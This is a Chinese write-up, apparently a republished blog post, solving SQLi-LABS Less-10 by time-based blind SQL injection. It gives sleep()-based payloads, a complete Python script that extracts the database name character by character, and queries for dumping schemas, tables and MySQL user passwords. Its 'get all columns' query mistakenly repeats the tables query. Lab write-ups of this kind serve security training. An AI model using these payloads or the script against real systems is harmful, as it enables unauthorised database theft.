SQLi LABS Less 10 时间盲注

2023-10-27

第十关是双引号字符型注入,推荐使用时间盲注。

一、功能分析

二、思路分析

三、解题步骤

方式一:时间盲注

第一步、判断注入条件

第二步、判断长度

第三步、枚举字符

脱库


一、功能分析

二、思路分析

页面无显示位,不适合联合注入;

页面不显示数据库的报错信息,不适合报错注入;

查询的正确和错误不会影响页面的响应(后台写死了,只返回You are in...........),不适合布尔盲注;

综上所述,尝试使用时间盲注。

三、解题步骤

方式一:时间盲注

第一步、判断注入条件

地址栏输入:?id=1" and if(1,sleep(5),3) -- a

页面响应时间超过5秒,确定存在时间盲注。

第二步、判断长度

判断当前使用数据库的名字长度是否大于1,地址栏输入:

?id=1" and if(
	(length(
		database()
	) >1)
,sleep(5),3) -- a

长度肯定大于1,页面延时5秒,确定payload可用。

从1开始,依次递增测试长度,页面响应时间超过5秒则表示猜解成功,稍后使用脚本自动化猜解。

第三步、枚举字符

截取当前使用数据库名字的第一个字符,通过穷举法判断具体字符。

为了方便脚本测试,这里将字符转换成ASCLL。

判断第一个字符的ASCLL是否大于1,地址栏输入:

?id=1" and if(
	(ascii(
		substr(
			(database()
		),1,1)
	) >1)
,sleep(5),3) -- a

肯定大于1,页面延时5秒,确定payload可用。

穷举第一个字符的所有可能性(对应的ASCLL为:32~126),穷举成功后,再依法穷举剩余字符,稍后使用脚本自动化猜解。

脱库

Python自动化脚本如下,可按需修改:

import requests
import time

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://00b5c770b91b4b7aae704c39602fc0f9.app.mituan.zone/Less-10/"
# 猜解长度使用的payload
payload_len = """?id=1" and if(
	(length(
		(database())
	) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1" and if(
	(ascii(
		substr(
			(database())
		,{n},1)
	) ={r})
,sleep(5),3) -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        start_time = time.time()
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面响应时间 = 结束执行的时间 - 开始执行的时间
        use_time = time.time() - start_time
        # 响应时间>5秒时,表示猜解成功
        if use_time > 5:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            start_time = time.time()
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面响应时间 = 结束执行的时间 - 开始执行的时间
            use_time = time.time() - start_time
            # 页面中出现此内容则表示成功
            if use_time > 5:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

执行结果如下:

其他脱库操作时,将圈起来的部分替换成SQL语句即可:

 

 脱库常用SQL语句:

# 获取所有数据库
(select group_concat(schema_name)
from information_schema.schemata)
 
# 获取 security 库的所有表
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")
 
# 获取 users 表的所有字段
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")
 
# 获取数据库管理员的密码
(select password
from mysql.user
where user="mituan")

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLi LABS Less 10 时间盲注 的相关文章

  • IIC接口隔离电路ISO

    IIC为例 为什么需要隔离 隔离电路电源和数据线之间的隔离 隔离电性干扰 增强抗干扰能力 保护隔离总线iic确保系统的稳定型和可靠性 避免电源串扰以及避免数字信号对模拟信号的干扰 就需要总线进行信号隔离 就IIC而言 让master和sla
  • html5做微信公众号文章代码,微信公众号文章怎么使用代码排版?

    有了微信公众号后 就要对微信公众号进行运营 微信运营的方式就是推广文章 好的微信文章是最好的吸粉手段 那微信公众号文章怎么使用代码排版 我们一起来看看下文的例子吧 欢迎大家来阅读 需求 简单介绍下西窗烛 App 的信息结构 这是一款古诗词赏
  • 使用WSL2,开启Linux之旅

    使用WSL2 开启Linux之旅 1 确认虚拟环境的开启 2 更新WSL 3 安装ubuntu镜像 4 修改镜像路径 5 更换国内镜像源 6 配置ssh 7 配置远程桌面访问 在开始之前 提供官方链接如何更新及使用WSL 如果觉得官方操作难
  • k8s--基础--22.15--storageclass--类型--本地

    k8s 基础 22 15 storageclass 类型 本地 1 案例 kind StorageClass apiVersion storage k8s io v1 metadata name local storage provisio

随机推荐

  • 目标检测快速入门(含YOLO V1原理详解)

    原创 悬鱼铭 目标检测 Object Detection 任务是计算机视觉中非常重要且热门的研究方向之一 是计算机视觉算法工程师的必考的知识点 本文通过以下几点阐述 目标检测的简介 目标检测的发展 YOLO V1 原理详解 全文总共3千字左
  • DTS Audio Codec 码率

    转自 https www zhihu com question 20816979
  • 两种python实现自动发邮件的方法

    法一 from email mime text import MIMEText from email header import Header from email mime multipart import MIMEMultipart i
  • 集合框架 — ConcurrentHashMap

    集合框架 ConcurrentHashMap 一 ConcurrentHashMap JDK1 7 1 实现结构 2 保证并发安全 分段锁技术 3 put 和 get 方法 二 ConcurrentHashMap JDK1 8 1 实现结构
  • 如何实现网站文件动静分离

    背景 传统动静不分离的产品架构 随着访问量在增长 性能会成为瓶颈 以一个常见的Web站点为例 www acar com是一个刚建立汽车资讯车友交流网站 主站用Php搭建 有10GB的图片素材 部分JS文件 目前购买一台ECS放置所有程序代码
  • 使用Docker安装FastDFS

    1 获取镜像 可以利用已有的FastDFS Docker镜像来运行FastDFS 获取镜像可以通过下载 docker image pull delron fastdfs 也可是直接使用自己下载的镜像备份文件 docker load i 文件
  • HJ103 Redraiment 的走法-最长递增序列

    HJ103 Redraiment 的走法 描述 Redraiment 是走梅花桩的高手 Redraiment 可以选择任意一个起点 从前到后 但只能从低处往高处的桩子走 他希望走的步数最多 你能替 Redraiment 研究他最多走的步数吗
  • Python基础手册

    目录 第1章 Python环境准备与数据类型 分支结构 1 1 自动化测试介绍与第1个python程序 1 1 1 自动化测试介绍 1 1 2 Python环境准备 1 1 3 什么是解释器 编译型和解释型 1 1 4 第一个Python程
  • 对JSON.parse()中存在转义字符的解决以及js中替换函数replace()的认识

    在工作中 遇到对页面数据进行转存json格式数据后存储在数据库中 然而在显示数据时遇到无法显示json中的数据 产生的bug 问题抛出 1 首先认识下 在JSON parse 将后台传过来的字符串数据转存对象 遇到字符串中带有转义字符 然而
  • 使用Burpsuite进行暴力破解

    Burpsuite是一款Web安全领域的跨平台工具 基于Java开发 它集成了很多用于发现常见web漏洞的模块 如Proxy Spider Scanner Intruder Repeater等 所有模块共享一个能处理并显示HTTP消息的扩展
  • Odoo源码安装

    安装数据库 Odoo 使用 PostgreSQL 作为数据库管理系统 使用您的包管理器下载并安装 PostgreSQL sudo apt install postgresql postgresql contrib 创建用户给odoo连接访问
  • Android开发从入门到精通(3)

    第三章 下载和安装Android SDK 下载和安装Android SDK 第三章 1 关键技能和概念 下载Android SDK 使用Eclipse的可升级特性 为Eclipse下载 安装并配置Android Plugin 检查PATH声
  • 关于Dev c++的简单设置

    一 添加初始源代码 可以在工具 编辑器选项 代码 缺省源中添加初始源代码 这样每次打开软件都会帮你写好C语言必须的几行代码 二 调整代码对齐格式 在格式化选项中可以调整代码格式 我选择了allman风格 默认为Java 在编辑代码时 按住c
  • SA 后缀数组 / SAM 后缀自动机 c++ 模板

    文章目录 前言 代码 1 SA 2 SAM 前言 SA 后缀数组模板 SAM 后缀自动机模板 代码 1 SA include
  • Vue SEO优化之预渲染

    SPA 只有一个html文件的web应用 特点 只有一个html 所有内容在这里展现 html文件只加载一次 用户操作不会让页面重新加载 通过动态更新页面内容的方式呈现不同内容 优 交互好 局部更新 不重新加载 前后端分离 前端页面 后端数
  • 十大人工智能技术

    人工智能通过创新技术改变了我们的生活方式 人工智能在每个行业都掀起了风暴 并对社会的每个部门都产生了深远的影响 人工智能术语一词最早是在1956年的一次会议上创造的 会议的讨论导致了跨学科信息技术自然语言生成学 互联网的出现帮助技术呈指数级
  • 前端开发ps软件及蓝湖的基本使用

    首先 需要先下载蓝湖插件及ps软件 蓝湖官网 https lanhuapp com ps软件 蓝湖使用方法 在官网下载Photoshop插件 并安装 在蓝湖官网注册账号和密码 并登录 下载完成以后 重启ps软件 在 窗口 扩展 蓝湖 打开
  • VUE 在一个组件中引用另外一个组件的两种方式

    下面有两种方法 方法一 代码如下
  • C++图书管理系统,数据结构课程设计(含源码、报告)

    数据结构课程设计 题目 图书管理系统 目 录 一 实验概述 1 1 实验题目 1 2 基本要求 1 3 问题描述 二 详细设计 2 1 数据结构的设计 2 1 1 图书信息的存入 2 1 2 学生信息存入 2 2 算法的设计思想及流程图 2
  • SQLi LABS Less 10 时间盲注

    第十关是双引号字符型注入 推荐使用时间盲注 一 功能分析 二 思路分析 三 解题步骤 方式一 时间盲注 第一步 判断注入条件 第二步 判断长度 第三步 枚举字符 脱库 一 功能分析 二 思路分析 页面无显示位 不适合联合注入 页面不显示数据